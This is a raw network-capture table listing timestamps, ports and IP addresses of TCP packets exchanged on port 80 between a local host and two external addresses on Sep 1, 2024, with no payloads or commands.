Sep 1, 2024 05:09:16.565346956 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.565356016 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.565368891 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.565393925 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.565412998 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.565428019 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.565439939 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.565450907 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.565471888 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.565501928 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.565510035 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.565521002 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.565531969 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.565552950 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.565591097 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.565613031 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.565623045 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.565633059 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.565644026 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.565665007 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.565680027 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.565762043 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.565773964 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.565783024 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.565793037 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.565804005 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.565808058 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.565815926 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.565834045 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.565855026 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.565881014 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.565892935 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.565931082 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.565960884 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.565972090 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.566008091 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.625421047 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.625449896 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.625461102 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.625472069 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.625477076 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.625493050 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.625528097 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.625562906 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.625572920 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.625582933 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.625605106 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.625631094 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.625926971 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.625947952 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.625958920 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.625973940 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.626002073 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.626024008 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.626034975 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.626069069 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.626092911 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.626104116 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.626112938 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.626135111 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.626157999 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.626162052 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.626176119 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.626185894 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.626204014 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.626219034 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.626280069 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.626290083 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.626300097 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.626311064 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.626321077 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.626327991 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.626341105 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.626360893 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.626785994 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.626806021 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.626813889 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.626837969 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.626858950 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.626863956 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.626873970 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.626905918 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.626934052 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.626945019 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.626955032 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.626979113 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.626992941 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.627003908 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.627015114 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.627032042 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.627041101 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.627042055 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.627058983 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.627077103 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.627131939 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.627142906 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.627147913 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.627166986 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.627187967 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.627203941 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.640346050 CEST	49744	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:16.644184113 CEST	49745	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:16.645616055 CEST	80	49744	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:16.645705938 CEST	49744	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:16.648957014 CEST	80	49745	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:16.649043083 CEST	49745	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:16.649945974 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.649965048 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.649974108 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.650015116 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.650043964 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.650047064 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.650058985 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.650069952 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.650094032 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.650099039 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.650110006 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.650129080 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.650134087 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.650144100 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.650157928 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.650177002 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.650202990 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.650280952 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.650293112 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.650304079 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.650320053 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.650321007 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.650333881 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.650341034 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.650373936 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.650413036 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.650423050 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.650433064 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.650444031 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.650454044 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.650459051 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.650475025 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.650496960 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.650679111 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.650690079 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.650700092 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.650710106 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.650721073 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.650731087 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.650741100 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.650757074 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.650768042 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.650773048 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.650816917 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.650832891 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.650844097 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.650854111 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.650880098 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.650897980 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.650907993 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.650918007 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.650928020 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.650938988 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.650958061 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.650985956 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.651420116 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.651470900 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.651473999 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.651479959 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.651498079 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.651509047 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.651514053 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.651547909 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.651556969 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.651568890 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.651577950 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.651598930 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.651619911 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.651632071 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.651643038 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.651653051 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.651674032 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.651686907 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.651689053 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.651700020 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.651710033 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.651726961 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.651750088 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.651755095 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.651762009 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.651792049 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.651813984 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.651832104 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.651842117 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.651853085 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.651879072 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.651947975 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.651958942 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.651973963 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.651984930 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.651995897 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.652015924 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.652039051 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.652223110 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.652244091 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.652266979 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.652287960 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.652291059 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.652328014 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.652343988 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.652354002 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.652383089 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.652405024 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.652415991 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.652426004 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.652446032 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.652472973 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.652472973 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.652492046 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.652503014 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.652518988 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.652532101 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.652543068 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.652549982 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.652560949 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.652578115 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.652601957 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.652631998 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.652642965 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.652658939 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.652668953 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.652668953 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.652678967 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.652688980 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.652697086 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.652725935 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.652726889 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.652739048 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.652749062 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.652765989 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.652790070 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.712536097 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.712549925 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.712567091 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.712579012 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.712589025 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.712606907 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.712626934 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.712644100 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.712654114 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.712656975 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.712677002 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.712701082 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.712836981 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.712847948 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.712857008 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.712882996 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.712898016 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.712908983 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.712919950 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.712929010 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.712940931 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.712949038 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.712951899 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.712970018 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.712990046 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.713001966 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.713028908 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.713071108 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.713080883 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.713090897 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.713116884 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.713143110 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.713156939 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.713167906 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.713180065 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.713188887 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.713198900 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.713232040 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.713778019 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.713788986 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.713802099 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.713829041 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.713854074 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.713885069 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.713896990 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.713907003 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.713917017 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.713928938 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.713953018 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.713975906 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.713979006 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.713990927 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.714025021 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.714035034 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.714056015 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.714067936 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.714077950 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.714093924 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.714095116 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.714123011 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.714143038 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.714169979 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.714180946 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.714215040 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.736829042 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.736872911 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.736875057 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.736885071 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.736917019 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.736923933 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.736928940 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.736939907 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.736957073 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.736985922 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.737018108 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.737030029 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.737040043 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.737062931 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.737083912 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.737181902 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.737191916 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.737202883 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.737211943 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.737219095 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.737224102 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.737234116 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.737237930 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.737243891 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.737272978 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.737287045 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.737287998 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.737333059 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.737369061 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.737380028 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.737390995 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.737401962 CEST	80	49742	185.215.113.100	192.168.2.4
